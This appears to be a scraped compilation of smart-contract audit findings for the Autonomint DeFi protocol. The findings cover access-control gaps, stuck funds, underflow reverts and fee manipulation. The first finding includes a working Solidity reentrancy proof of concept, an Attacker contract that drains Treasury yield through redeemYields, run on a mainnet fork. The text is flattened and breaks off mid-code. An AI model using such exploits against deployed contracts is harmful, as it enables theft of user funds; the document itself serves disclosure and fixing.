function withdrawFromExternalProtocol( address user, uint128 aBondAmount ) external onlyCoreContracts returns (uint256) { if (user == address(0)) revert Treasury_ZeroAddress(); // Withdraw from external protocols uint256 redeemAmount = withdrawFromIonicByUser(user, aBondAmount); // Send the ETH to user (bool sent, ) = payable(user).call{value: redeemAmount}(""); // EXTERNAL CALL // check the transfer is successfull or not require(sent, "Failed to send Ether"); return redeemAmount; }
As the user
data was not updated and ABOND
was not yet burned from msg.sender
, it can reenter the Borrowing::redeemYields
function to drain the protocol earnings.
For the attack to be profitable, the attacker needs to first buy ABOND
and wait until the protocol accrues yield from the external protocol (Ionic). The attacker will then call Borrowing::redeemYields
and re-enter it to gain the benefits of more than the ABOND
held in that time period. (see "Attack path" section).
As in the end, all ABOND
has to be burned (meaning that if you redeemed once 100 ABOND
and reentered 9 times, the attacker will have to own 1000 in the end because that will be burned), this vulnerability is not the typical reentrancy issue as it happened in The DAO hack where the balance after withdrawing was set to zero, instead here the abondAmount
has to be burned and thus owned by the attacker.
The earnings of this attack come from the accrued yield of the ABOND
held by the attacker, where the attacker will earn from accrued yields of more than the initially held ABOND
amount. As the ABOND::userStates
data is not updated until the ABOND::burnFromUser
function is called, this attack is possible because the amount to withdraw calculation is done with userStates
data:
Treasury.sol#L703-L724
function withdrawFromIonicByUser( address user, uint128 aBondAmount ) internal nonReentrant returns (uint256) { uint256 currentExchangeRate = ionic.exchangeRateCurrent(); uint256 currentCumulativeRate = _calculateCumulativeRate(currentExchangeRate, Protocol.Ionic); State memory userState = abond.userStates(user); // @audit user states data uint128 depositedAmount = (aBondAmount * userState.ethBacked) / PRECISION; uint256 normalizedAmount = (depositedAmount * CUMULATIVE_PRECISION) / userState.cumulativeRate; //withdraw amount uint256 amount = (currentCumulativeRate * normalizedAmount) / CUMULATIVE_PRECISION; // withdraw from ionic ionic.redeemUnderlying(amount); protocolDeposit[Protocol.Ionic].totalCreditedTokens = ionic.balanceOf(address(this)); protocolDeposit[Protocol.Ionic].exchangeRate = currentExchangeRate; // convert weth to eth WETH.withdraw(amount); return amount; }
Updating data after withdrawing:
Colors.sol#L41-L60
function _debit( State memory _fromState, uint128 _amount ) internal pure returns(State memory) { uint128 balance = _fromState.aBondBalance; // check user has sufficient balance require(balance >= _amount,"InsufficientBalance"); // update user abond balance _fromState.aBondBalance = balance - _amount; // after debit, if abond balance is zero, update cr and eth backed as 0 if(_fromState.aBondBalance == 0){ _fromState.cumulativeRate = 0; _fromState.ethBacked = 0; } return _fromState; }
None
None
ABOND
and waits for it to accrue yieldsBorrowing::redeemYields
Borrowing::redeemYields
many times and redeems let's say 1000 ABOND
(10 reenters)ABOND
(the protocol has to burn 1000).ABOND
but initially he bought only 100.Theft of Treasury
and ABOND
holders ETH.
The following PoC struggles to make a perfect simulation of how the attacker would get the ABOND
with real market prices and how Ionic will increase its exchange rate to get a higher cumulative rate. However, it demonstrates perfectly how the attack can be executed.
Add the following PoC and contracts to test/foundry/Borrowing.t.sol
:
function test_PoC_ReentrancyInRedeemYields() public { uint256 ETH = 1; uint24 ethPrice = 388345; uint8 strikePricePercent = uint8(IOptions.StrikePrice.FIVE); uint64 strikePrice = uint64(ethPrice + (ethPrice * ((strikePricePercent * 5) + 5)) / 100); uint256 amount = 10 ether; uint256 amountSent = 11 ether; uint128 usdtToDeposit = uint128(contractsB.cds.usdtLimit()); uint256 liquidationAmount = usdtToDeposit / 2; // deposit in CDS so there is back funds for the USDa address cdsDepositor = makeAddr("depositor"); { vm.startPrank(cdsDepositor); contractsB.usdt.mint(cdsDepositor, usdtToDeposit); contractsB.usdt.approve(address(contractsB.cds), usdtToDeposit); vm.deal(cdsDepositor, globalFee.nativeFee); contractsB.cds.deposit{value: globalFee.nativeFee}( usdtToDeposit, 0, true, uint128(liquidationAmount), 150000 ); vm.stopPrank(); } { vm.startPrank(USER); vm.deal(USER, globalFee.nativeFee + amountSent); contractsB.borrow.depositTokens{value: globalFee.nativeFee + amountSent}( ethPrice, uint64(block.timestamp), IBorrowing.BorrowDepositParams( IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount ) ); vm.stopPrank(); } { vm.startPrank(USER); vm.deal(USER, globalFee.nativeFee + amountSent); contractsB.borrow.depositTokens{value: globalFee.nativeFee + amountSent}( ethPrice, uint64(block.timestamp), IBorrowing.BorrowDepositParams( IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount ) ); vm.stopPrank(); } vm.warp(block.timestamp + 25920); vm.roll(block.number + 2160); ExchangeAbond exchange = new ExchangeAbond(address(contractsB.abond)); Attacker attacker = new Attacker(address(contractsB.borrow), address(contractsB.abond), USER, address(exchange)); vm.label(address(attacker), "Attacker"); { vm.startPrank(USER); uint64 index = 1; Treasury.GetBorrowingResult memory getBorrowingResult = contractsB.treasury.getBorrowing(USER, index); Treasury.DepositDetails memory depositDetail = getBorrowingResult.depositDetails; uint256 currentCumulativeRate = contractsB.borrow.calculateCumulativeRate(); contractsB.usda.mint(USER, 1 ether); // @audit so there are enough funds (doesn't affect the PoC) uint256 tokenBalance = contractsB.usda.balanceOf(USER); if ((currentCumulativeRate * depositDetail.normalizedAmount) / 1e27 > tokenBalance) { return; } contractsB.usda.approve(address(contractsB.borrow), tokenBalance); vm.deal(USER, globalFee.nativeFee); contractsB.borrow.withDraw{value: globalFee.nativeFee}( USER, index, "0x", "0x", ethPrice, uint64(block.timestamp) ); // @audit Attacker acquiring ABOND contractsB.abond.transfer(address(attacker), contractsB.abond.balanceOf(USER) / 12); contractsB.abond.transfer(address(exchange), contractsB.abond.balanceOf(USER)); // funding the "exchange" vm.stopPrank(); } vm.warp(block.timestamp + 25920); vm.roll(block.number + 2160); { contractsB.borrow.calculateCumulativeRate(); attacker.attack(); } } import {Borrowing} from "../../contracts/Core_logic/borrowing.sol"; import {ABONDToken} from "../../contracts/Token/Abond_Token.sol"; contract Attacker { Borrowing borrowing; ABONDToken abond; address USER_PROVIDER; uint256 counter = 0; uint256 withdrawedInTheFirstCall = 0; uint256 accumulator = 0; ExchangeAbond exchange; constructor(address _borrowing, address _abond, address _userProvider, address _exchange) { borrowing = Borrowing(_borrowing); abond = ABONDToken(_abond); USER_PROVIDER = _userProvider; abond.approve(address(borrowing), type(uint256).max); exchange = ExchangeAbond(_exchange); } function attack() public payable { if (counter < 10) { if (counter == 1) { // just to show that balance in the end is greater withdrawedInTheFirstCall = address(this).balance; } counter += 1; accumulator += abond.balanceOf(address(this)); borrowing.redeemYields(address(this), uint128(abond.balanceOf(address(this)))); } else { // checking that the attacker withdrawed more than the allowed by his funds if (withdrawedInTheFirstCall >= address(this).balance) { revert(); } // here before returning, the attacker should buy the needed ABOND with the withdrawed ETH and USDa amount exchange.buyAbond{value: 1e6}(address(this), accumulator); // eth sent is to "buy" if (accumulator > abond.balanceOf(address(this))) { revert("Not enough ABOND to BURN"); } return; } } receive() external payable { attack(); } } contract ExchangeAbond { ABONDToken abond; constructor(address _abond) { abond = ABONDToken(_abond); } function buyAbond(address to, uint256 amount) public payable { abond.transfer(to, amount); } }
To run the test:
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_ReentrancyInRedeemYields -vvv
transfer
function to send ETH because it limits the gas it sends.nonReentrant
modifiers to functions that modify the state.Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/438
0x37
The synthetix's wrapper in OP Chain is empty. It cannot help us to wrap WETH to sETH.
In borrowLiquidation.sol:348, we will wrap WETH to sETH via synthetix's wrapper.
The problem is that I find out that the synthetix's wrapper in OP Chain is different with Ethereum's wrapper. The synthetix's wrapper in OP Chainis one empty wrapper chain(https://optimistic.etherscan.io/address/0xc3Ee42caBD773A608fa9Ec951982c94BD6F33d59) after checking from (https://developer.synthetix.io/addresses/).
So in OP chain, the empty wrapper does not support mint() interface. So this liquidation will be reverted.
function liquidationType2( address user, uint64 index, uint64 currentEthPrice ) internal { ... wrapper.mint(amount); }
N/A
N/A
N/A
The liquidation type 2 cannot work in OP chain.
Considering that liquidation type 1 cannot work in some cases, e.g. there is not enough cds owners who opt in the liquidation, it's important to make sure that the liquidation type 2 can always work well.
N/A
synthetix support to exchange WETH to sUSD directly.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/451
0x37, Audinarey
In liquidation type2, we will calculate the margin via amount * EthPrice
. We don't consider the exchange fee in synthetix.
In borrowLiquidation.sol:350, we will exchange the sETH to sUSD. The sUSD will be taken as the margin in the synthetix.
In liquidationType2() function, we will exchange amount
sETH to sUSD, and then these sUSD as the margin. The margin amount is calculated via (amount * currentEthPrice) / 100
. The problem is that there is exchange fee in synthetix's exchange() function. This will cause that the sUSD from synthetix.exchange() may be less than calculated margin. This will cause reverted because there is not enough sUSD.
synthetix.exchange( // sETH 0x7345544800000000000000000000000000000000000000000000000000000000, amount, // sUSD 0x7355534400000000000000000000000000000000000000000000000000000000 ); int256 margin = int256((amount * currentEthPrice) / 100); synthetixPerpsV2.transferMargin(margin);
N/A
N/A
N/A
The liquidation transaction will be reverted for liquidation type2. We need to make sure the liquidation should work well considering that liquidation type 1 may not work if there is not enough cds owners who opt in the liquidation process.
N/A
Get the output sUSD amount via exchange() function. Take sUSD as the margin.
liquidationType1
function in the borrowLiquidation contract reverts unexpectedly when calculating the yieldsSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/519
0x23r0, 0xe4669da, Cybrid, John44, LordAlive, Pablo, ParthMandale, Ruhum, futureHack, volodya
The liquidationType1
function in the borrowLiquidation contract reverts unexpectedly when calculating the yields:
uint256 yields = depositDetail.depositedAmount - ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate);
This happens when the calculated value of ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate)
exceeds depositDetail.depositedAmount
. This edge case arises due to very small changes in the exchangeRate
value, leading to an unexpected revert caused by a subtraction of a larger value from a smaller one. This behavior is rooted that not taken the exchange rate that changed to a smaller value during liquidation.
When a user deposits collateral, the deposited amount is stored both in terms of the asset (e.g., WeETH
) and its equivalent in ETH, using the exchangeRate
at the time of deposit. The calculations are as follows:
2e18
WeETH
tokens with an exchangeRate
of 1029750180160445400
(WeETH/ETH
).params.depositingAmount = (libParams.exchangeRate * params.depositingAmount) / 1 ether;
params.depositingAmount = (1029750180160445400 * 2e18) / 1 ether = 2059500360320890800
depositingAmount
in ETH is stored in depositDetail.depositedAmountInETH in the treasury contract:borrowing[user].depositDetails[borrowerIndex].depositedAmountInETH = uint128(depositingAmount); // 2059500360320890800
WeETH
) is stored in depositDetail.depositedAmount
:depositDetail.depositedAmount = uint128(depositingAmount); // 2e18
During liquidation, the yields calculation uses the stored depositDetail.depositedAmount
and depositDetail.depositedAmountInETH
:
uint256 yields = depositDetail.depositedAmount - ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate);
If the exchangeRate
has slightly decreased (e.g., by 1 wei), the denominator in the division becomes slightly smaller, making the result of ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate)
slightly larger. As a result, this value can exceed depositDetail.depositedAmount
, leading to an underflow (revert).
For example:
depositDetail.depositedAmount = 2e18
depositDetail.depositedAmountInETH = 2059500360320890800
exchangeRate = 1029750180160445400
exchangeRate = 1029750180160445399
(slightly decreased by 1 wei).yields = 2e18 - ((2059500360320890800 * 1 ether) / 1029750180160445399) --> `-1`
Substitute values:
yields = 2e18 - 2000000000000000001 = -1 (revert the liquidation)
Here, the logic is implemented in such a way that it assumes the exchange rate of ETH-backed assets like WeETH or WrETH will never decrease if the ETH price increases, but this is incorrect.
If we check the very latest data on chainlink data feeds of ETH/USD and weETH/ETH on the optimism network:
ETH/USD: https://data.chain.link/feeds/optimism/mainnet/eth-usd
weETH/ETH: https://data.chain.link/feeds/optimism/mainnet/weeth-eth
Based on that feeds if a user deposits collateral on December 18 with an ETH price of 393133, and by December 21 the price has decreased to 347491, the ETH price has decreased significantly. Based on the protocol's logic, this position should be liquidated. However, the protocol team assumes that if the price of ETH decreased, the ETH-backed tokens, like weETH or wrsETH (which the protocol accepts as deposits), will not affected. This is not always the case.
If we check the Chainlink price feed for weETH:
On December 18, the exchange rate was 1.0550. By December 21, although the price of ETH had decreased significantly, the price of weETH also decreased. On December 21, the exchange rate was 1.0549 so the exchange rate is decreased. This discrepancy will definitely cause the liquidation to revert based on the calculated yields.
pics:
No response
No response
check Root Cause
Positions eligible for liquidation may fail to liquidate due to unexpected reverts.
Deposit 2e18
WeETH
with an exchangeRate
of 1029750180160445400
.
depositDetail.depositedAmount = 2e18
.depositDetail.depositedAmountInETH = 2059500360320890800
.Trigger liquidation when the exchangeRate
decrease slightly (e.g., 1029750180160445399
).
Observe the revert during yield calculation:
uint256 yields = depositDetail.depositedAmount - ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate);
Here, we don't know whether the exchange rate returned from the oracle is larger or smaller. If it's larger, there is no problem, but if the exchange rate returned from the oracle is smaller, it will revert.
I don't know the best logic implemented that ensures liquidation does not revert.
uint256 yields = depositDetail.depositedAmount - ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate);
One way to completely remove this is because the result of this calculation is pass to treasury.updateYieldsFromLiquidatedLrts(yields);
.
If we check in the treasury, its only increment the yieldsFromLiquidatedLrts
and, this state variable is never used in any calculation in the protocol.
function updateYieldsFromLiquidatedLrts( uint256 yields ) external onlyCoreContracts { yieldsFromLiquidatedLrts += yields; }
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/526
0x37, Audinarey, almurhasan, valuevalk
During withdrawal from the CDS, 10% of the USDa profit of the user are sent to the treasury. However there is no way to withdraw these funds from the treasury and as such they are stuck forever.
File: CDS.sol 334: @> uint256 optionFees = ((cdsDepositDetails.normalizedAmount * omniChainData.lastCumulativeRate) / 335: (CDSLib.PRECISION * CDSLib.NORM_PRECISION)) - cdsDepositDetails.depositedAmount; 343: uint256 currentValue = cdsAmountToReturn( // @audit-info value to return (i.e depositedAmount ± profit) 344: msg.sender, 345: index, 346: omniChainData.cumulativeValue, 347: omniChainData.cumulativeValueSign, 348: excessProfitCumulativeValue 349: ) - 1; //? subtracted extra 1 wei 350: 351: cdsDepositDetails.depositedAmount = currentValue; 352: uint256 returnAmount = cdsDepositDetails.depositedAmount + optionFees; 353: @> cdsDepositDetails.withdrawedAmount = returnAmount;
currentValue
is the user's depositedAmount ± profit
andreturnAmount
is the depositedAmount ± profit + optionFees
which is now the cdsDepositDetails.withdrawedAmount
params.usdaToTransfer
is the amount of USDa that is finally transferred to the user but not all the cdsDepositDetails.withdrawedAmount
above is transferred because 10% of this amount is transferred to the treasury
and recorded as usdaCollectedFromCdsWithdraw
by calling updateUsdaCollectedFromCdsWithdraw()
File: CDSLib.sol 800: //Calculate the usda amount to give to user after deducting 10% from the above final amount @audit HIGH: the remaining 10% is stuck in the treasury! 801: params.usdaToTransfer = calculateUserProportionInWithdraw(params.cdsDepositDetails.depositedAmount, returnAmountWithGains); 802: //Update the treasury data 803: @> interfaces.treasury.updateUsdaCollectedFromCdsWithdraw(returnAmountWithGains - params.usdaToTransfer); File: Treasury.sol 493: function updateUsdaCollectedFromCdsWithdraw( 494: uint256 amount 495: ) external onlyCoreContracts { 496: @> usdaCollectedFromCdsWithdraw += amount; 497: }
The problem is that unfortunately, this amount is never removed from the treasury by any means or used anywhere.
No response
No response
No response
10% of profit during withdrawa are stuck in the treasury forever
No response
Consider implementing a function to withdraw this usdaCollectedFromCdsWithdraw
from the treasury or better still account for it elsewhere.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/560
almurhasan, volodya
omniChainData.cdsPoolValue is not decreased/updated in the function liquidationType1,as a result cds/ borrow ratio will be bigger than expected till all cds depositors(who opted for liquidation amount) don’t withdraw their deposited amount. So there may come a scenario when the cds/borrow’s real ratio may become below 0.2 but the protocol will calculate above 0.2(so new stablecoin can be minted/ cds users can withdraw if cds/borrow ratio is below 0.2).
omniChainData.cdsPoolValue is not decreased/updated in the function liquidationType1
No response
No response
Let’s assume, currently omniChainData.cdsPoolValue = 500, omniChainData.vaultValue = 2000, so cds/borrow ratio = 500/2000 = 0.25
now the function liquidationType1 is called where 100 amount is liquidated, now omniChainData.vaultValue = 2000-100 = 1900(as 100 usd worth of collateral is allocated for cds depositer) and omniChainData.cdsPoolValue = 500-100 = 400(as 100 is liquidated). So the current cds/borrow ratio should be 400/1900 = 0.21.
but as omniChainData.cdsPoolValue is not decreased/updated in the function liquidationType1,so omniChainData.cdsPoolValue is still 500 and cds/borrow ratio = 500/1900 = 0.26 which is bigger than real cds/borrow ratio.
cds/borrow ratio will be corrected when all cds depositors(who opted for liquidation amount) withdraw because after their withdrawals cdspoolvalue is decreased and cds/borrow ratio becomes correct.
cds/ borrow ratio will be bigger than expected till all cds depositors(who opted for liquidation amount) don’t withdraw their deposited amount. So there may come a scenario when the cds/borrow’s real ratio may become below 0.2 but the protocol will calculate above 0.2(so new stablecoin can be minted/ cds users can withdraw if cds/borrow ratio is below 0.2).
cds/ borrow ratio will be bigger than expected till all cds depositors(who opted for liquidation amount) don’t withdraw their deposited amount. So there may come a scenario when the cds/borrow’s real ratio may become below 0.2 but the protocol will calculate above 0.2(so new stablecoin can be minted/ cds users can withdraw if cds/borrow ratio is below 0.2).
No response
update/decrease omniChainData.cdsPoolValue in the function liquidationType1
closeThePositionInSynthetix
is CalledSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/569
0x23r0, 0x37, pashap9990, valuevalk
The BorrowLiquidation
contract lacks the ability to withdraw ETH/native tokens or other tokens received from closing positions in Synthetix, potentially locking these assets within the contract indefinitely.
function liquidationType2( address user, uint64 index, uint64 currentEthPrice ) internal { // Get the borrower and deposit details ITreasury.GetBorrowingResult memory getBorrowingResult = treasury.getBorrowing(user, index); ITreasury.DepositDetails memory depositDetail = getBorrowingResult.depositDetails; require(!depositDetail.liquidated, "Already Liquidated"); // Check whether the position is eligible for liquidation uint128 ratio = BorrowLib.calculateEthPriceRatio(depositDetail.ethPriceAtDeposit, currentEthPrice); require(ratio <= 8000, "You cannot liquidate, ratio is greater than 0.8"); uint256 amount = BorrowLib.calculateHalfValue(depositDetail.depositedAmountInETH); // Convert the ETH into WETH weth.deposit{value: amount}(); // Approve it, to mint sETH bool approved = weth.approve(address(wrapper), amount); if (!approved) revert BorrowLiq_ApproveFailed(); // Mint sETH wrapper.mint(amount); // Exchange sETH with sUSD synthetix.exchange( 0x7345544800000000000000000000000000000000000000000000000000000000, amount, 0x7355534400000000000000000000000000000000000000000000000000000000 ); // Calculate the margin int256 margin = int256((amount * currentEthPrice) / 100); // Transfer the margin to synthetix synthetixPerpsV2.transferMargin(margin); // Submit an offchain delayed order in synthetix for short position with 1X leverage @>> synthetixPerpsV2.submitOffchainDelayedOrder( -int((uint(margin * 1 ether * 1e16) / currentEthPrice)), currentEthPrice * 1e16 ); } /** * @dev Submit the order in Synthetix for closing position, can only be called by Borrowing contract */ function closeThePositionInSynthetix() external onlyBorrowingContract { (, uint128 ethPrice) = borrowing.getUSDValue(borrowing.assetAddress(IBorrowing.AssetName.ETH)); // Submit an order to close all positions in synthetix @>> synthetixPerpsV2.submitOffchainDelayedOrder(-synthetixPerpsV2.positions(address(this)).size, ethPrice * 1e16); } /** * @dev Execute the submitted order in Synthetix * @param priceUpdateData Bytes[] data to update price */ function executeOrdersInSynthetix( bytes[] calldata priceUpdateData ) external onlyBorrowingContract { // Execute the submitted order @>> synthetixPerpsV2.executeOffchainDelayedOrder{value: 1}(address(this), priceUpdateData); }
Liquidation Process: When an admin liquidates a position by opening a short position in Synthetix, several steps are involved:
borrowing::liquidate
with liquidationType2
.borrowLiquidation
contract executes liquidationType2
, which opens a short position via submitOffchainDelayedOrder
.borrowing::executeOrdersInSynthetix
, which in turn calls borrowLiquidation::executeOrdersInSynthetix
to execute the order.closeThePositionInSynthetix
function is called to close the position.Lack of Withdrawal Mechanism: If the closure of the position in Synthetix results in ETH or other tokens sETH being sent to the BorrowLiquidation
contract, there is no function provided to withdraw these funds, thus locking them within the contract.
No response
An admin has initiated a liquidation through the borrowing contract.
Synthetix's market conditions allow for position closure, potentially returning ETH or other tokens.
No response
ETH or other tokens sETH received by the borrowingLiquidation contract cannot be withdrawn, leading to liquidity loss.
No response
Add a function like withdrawETH
or withdrawTokens
to allow authorized withdrawals.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/640
0x37, 0xAristos, 0xTamayo, 0xundiscover, BitcoinEason, Boraicho, DenTonylifer, Galturok, John44, Ragnarok, chista0x, durov, onthehunt, pashap9990, santiellena, t.aksoy, theweb3mechanic, tjonair, volodya
executeSetterFunction() in multiSign.sol lacks access control so malicious users can prevent admins from accessing setters.
Some admin setters in borrowing.sol and CDS.sol require a call to multiSign.sol::executeSetterFunction(). If checks in executeSetterFunction() pass admins' approvals for the setters are reset. However, executeSetterFunction() can be called by anyone, so malicious users can call this function first and reset the admins' approvals which will block admins from calling the setters.
function executeSetterFunction( SetterFunctions _function ) external returns (bool) { // Get the number of approvals require(getSetterFunctionApproval(_function) >= requiredApprovals,"Required approvals not met"); // Loop through the approved functions with owners mapping and change to false for (uint64 i; i < noOfOwners; i++) { approvedToUpdate[_function][owners[i]] = false; } return true; }
No response
No response
5 admin setters in both borrowing.sol and CDS.sol require executeSetterFunction() call so all of them can be DOS'ed by malicious users. Some of setters like setAPR(), setLTV(), setBondRatio() in borrowing.sol can negatively impact user experience if DOS'ed.
No response
Implement access control to executeSetterFunction().
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/719
0x37
swapCollateralForUSDT() will help to convert the remaining Ether to USDT. This part of upside collateral will be taken as the cds owner's profit. But we miss update the cds deposit amount. This will cause that cds owners fail to withdraw.
In Treasury.sol:804, when ether price increases and borrowers withdraw their collateral, there will be some remaining collateral because of the upside collateral. These remaining collateral will be taken as one part of the cds owner's profit and swapped to USDT.
This part of profit has already updated into the cds cumulative value(profit/loss), but we don't update the total cds deposit amount. This will cause that the total cds deposit amount will be less than cds owners should withdraw.
For example:
function swapCollateralForUSDT( IBorrowing.AssetName asset, // input token uint256 swapAmount, // input token amt bytes memory odosAssembledData ) external onlyCoreContracts returns (uint256) { (bool success, bytes memory result) = odosRouterV2.call{value: asset == IBorrowing.AssetName.ETH ? swapAmount : 0}(odosAssembledData); }
function withdrawUserWhoNotOptedForLiq( CDSInterface.WithdrawUserParams memory params, CDSInterface.Interfaces memory interfaces, uint256 totalCdsDepositedAmount, uint256 totalCdsDepositedAmountWithOptionFees ) public returns (CDSInterface.WithdrawResult memory) { totalCdsDepositedAmount -= params.cdsDepositDetails.depositedAmount; }
uint256 currentValue = cdsAmountToReturn( msg.sender, index, omniChainData.cumulativeValue, omniChainData.cumulativeValueSign, excessProfitCumulativeValue ) - 1; //? subtracted extra 1 wei // here we change the depositedAmount. cdsDepositDetails.depositedAmount = currentValue; uint256 returnAmount = cdsDepositDetails.depositedAmount + optionFees;
N/A
N/A
We miss updating the total cds deposit amount when there is some upside collateral. This may cause cds owners fail to withdraw their positions.
N/A
After we swap collateral to USDT, we should mint the related USDA and add these to total cds deposit amount.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/740
0xNirix, 0xTamayo, 0xe4669da, Audinarey, santiellena, valuevalk, yoooo
The protocol's requiring users to iterate through all liquidation events since their deposit during withdrawal will cause eventual transaction failure for early depositors as the number of liquidations grows over time, preventing them from withdrawing their funds.
In CDSLib.withdrawUser()
at https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/lib/CDSLib.sol#L640 the forced iteration through all historical liquidations between deposit and withdrawal time creates potential for unbounded gas costs:
// In CDSLib.withdrawUser: if (params.cdsDepositDetails.optedLiquidation) { for (uint128 i = (liquidationIndexAtDeposit + 1); i <= params.omniChainData.noOfLiquidations; i++) { uint128 liquidationAmount = params.cdsDepositDetails.liquidationAmount; if (liquidationAmount > 0) { CDSInterface.LiquidationInfo memory liquidationData = omniChainCDSLiqIndexToInfo[i]; // Calculate share for each liquidation uint128 share = (liquidationAmount * 1e10) / uint128(liquidationData.availableLiquidationAmount); // Process liquidation share... } } }
No response
No response
liquidationIndexAtDeposit = currentLiquidations
)noOfLiquidations
Early CDS depositors who opted for liquidation will be unable to withdraw their funds once the number of liquidations grows too large, as their withdrawal transactions will exceed block gas limits
No response
No response
borrowingLiquidation::liquidationType1()
, leading to lossesSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/755
0x73696d616f
borrowingLiquidation::liquidationType1()
reduces omniChainData.totalVolumeOfBorrowersAmountinWei
and omniChainData.totalCdsDepositedAmount
without any consideration for the cumulative values so far, leading to losses. The cumulative value at each price is calculated essentially by priceDiff * omniChainData.totalVolumeOfBorrowersAmountinWei / omniChainData.totalCdsDepositedAmount
, so changing these 2 variables without tracking correctly the cumulative value leads to issues, as shown below.
In borrowLiquidation.sol:248/252
, totalCdsDepositedAmount
and totalVolumeOfBorrowersAmountinWei
are modified without considering the cumulative values.
None.
None.
1 * (1000 - 800) / 1000 = 0.2
.omnichainData.totalCdsDepositAmount
to 360
(800 to treasury + 20 to abond calculated from 10% of 1000 - 800, cds profit of 1000 - 800 - 20 = 180, which yields a final cds deposited amount of 1000 - (800 + 20 - 180) = 360).1000 - 1000*0.2 = 800
. Then, uint256 returnAmountWithGains = params.returnAmount + params.cdsDepositDetails.liquidationAmount - params.cdsDepositDetails.initialLiquidationAmount = 800 + 180 - 1000
, which underflows. 180 comes from doing 1000 - 820, where 820 is the liquidation amounted needed (debt + return to abond).Cds depositor can never withdraw until the cumulative value recovers. Alternatively, consider that calculating the cumulative value before liquidation yields -0.2, but after liquidating yields -0 (totalVolumeOfBorrowersAmountinWei becomes 0, so the cumulative value loss is 0), which goes to show that effectively it is incorrectly handled. Any user can trigger cumulative value updates before liquidations to force this bug, if needed.
See the calculations above.
Handle the cumulative values when liquidating.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/786
pashap9990
dust amounts will be removed in OFT tokens
https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/lib/CDSLib.sol#L779
https://docs.layerzero.network/v2/developers/evm/oft/quickstart#token-transfer-precision
The OFT Standard also handles differences in decimal precision before every cross-chain transfer by "cleaning" the amount from any decimal precision that cannot be represented in the shared system.
The OFT Standard defines these small token transfer amounts as "dust".
when CDS depositors want to withdraw their assets from CDS contract also they get their share from liquidations amounts and if current chain dosen't have enough liquidity to send to user the protocol get need amount from other chain and let's assume needed amount is 1234567890123456789 rsETH and CDS::withdraw
send message to other chain for getting need amount but because of remove dust amount 1234567000000000000 rsETH received from other chains and this causes treasury doesn't have enough rsETH to cover withdraw transaction
Breaks core contract functionality
consider to remove dust amount before send message to other chains
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/790
0x73696d616f
borrowingLiquidation::liquidationType1()
withdraws the bond from the external protocol and updates the interest, but does not check if there is bond supply to distribute the interest to. Thus, if there are no bonds (if it was the only depositor being liquidated), it will be stuck.
In borrowingLiquidation:295
, the bond is withdrawn from the external protocol without consideration for the supply of the bond or the number of borrowers.
None.
None.
Stuck bond interest.
See links and explanation.
Check if the bond supply is non null and the number of borrowers.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/792
0x37, 0xAristos, IzuMan, John44, nuthan2x, pashap9990, santiellena, tedox, theweb3mechanic, valuevalk, volodya, wellbyt3, xKeywordx
When borrowers deposit into borrowing.sol they have to specify a volatility parameter. It is used when calculating how much option fees they will be charged. This is problematic as depositors can choose any value in order to be charged the lowest possible number of fees.
In Borrowing.depositTokens the volatility parameter is porvided by the user, thus users will always set it to an amount that results in less option fees.
No response
No response
volatility
will reduce their option fees the most.For example, in the protocol's tests the following value is used for the volatility: 50622665
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/test/foundry/Borrowing.t.sol#L47
However, we can test that by setting the volatility to 10000000 the fees are significantly less.
Users can reduce the number of option fees they have to pay.
This is a mock-up function that calculates the option fee, exactly how it is currently calculated in the protocol. Standard parameters are set in order to isolate the effects of the volatility
variable. It can be ran in any environment, just make sure to do the necessary imports.
By using the paramerter for volatility
used in the tests 50622665, we receive 165738482.
By using 10000000, we receive 101927611.
function calculateOptionPrice(uint256 _ethVolatility) public view returns (uint256) { uint128 _ethPrice = 4000e2; uint256 _amount = 10e18; StrikePrice _strikePrice = StrikePrice(1); uint256 a = _ethVolatility; uint256 ethPrice = _ethPrice; /*getLatestPrice();*/ // Get global omnichain data // Calculate the current ETH vault value uint256 totalVolumeOfBorrowersAmountinUSD = 10e18 * _ethPrice / 1e14; uint256 E = totalVolumeOfBorrowersAmountinUSD + (_amount * _ethPrice); // Check the ETH vault is not zero require(E != 0, "No borrowers in protocol"); uint256 cdsVault; // If the there is no borrowers in borrowing, then the cdsVault value is deposited value itself // Else, get the cds vault current value from omnichain global data cdsVault = 1000e6 * USDA_PRECISION; // Check cds vault is non zero require(cdsVault != 0, "CDS Vault is zero"); // Calculate b, cdsvault to eth vault ratio uint256 b = (cdsVault * 1e2 * OPTION_PRICE_PRECISION) / E; uint256 baseOptionPrice = ((sqrt(10 * a * ethPrice)) * PRECISION) / OPTION_PRICE_PRECISION + ((3 * PRECISION * OPTION_PRICE_PRECISION) / b); // 1e18 is used to handle division precision //18 * 5 / uint256 optionPrice; // Calculate option fees based on strike price chose by user if (_strikePrice == StrikePrice.FIVE) { // constant has extra 1e3 and volatility have 1e8 optionPrice = baseOptionPrice + (400 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.TEN) { optionPrice = baseOptionPrice 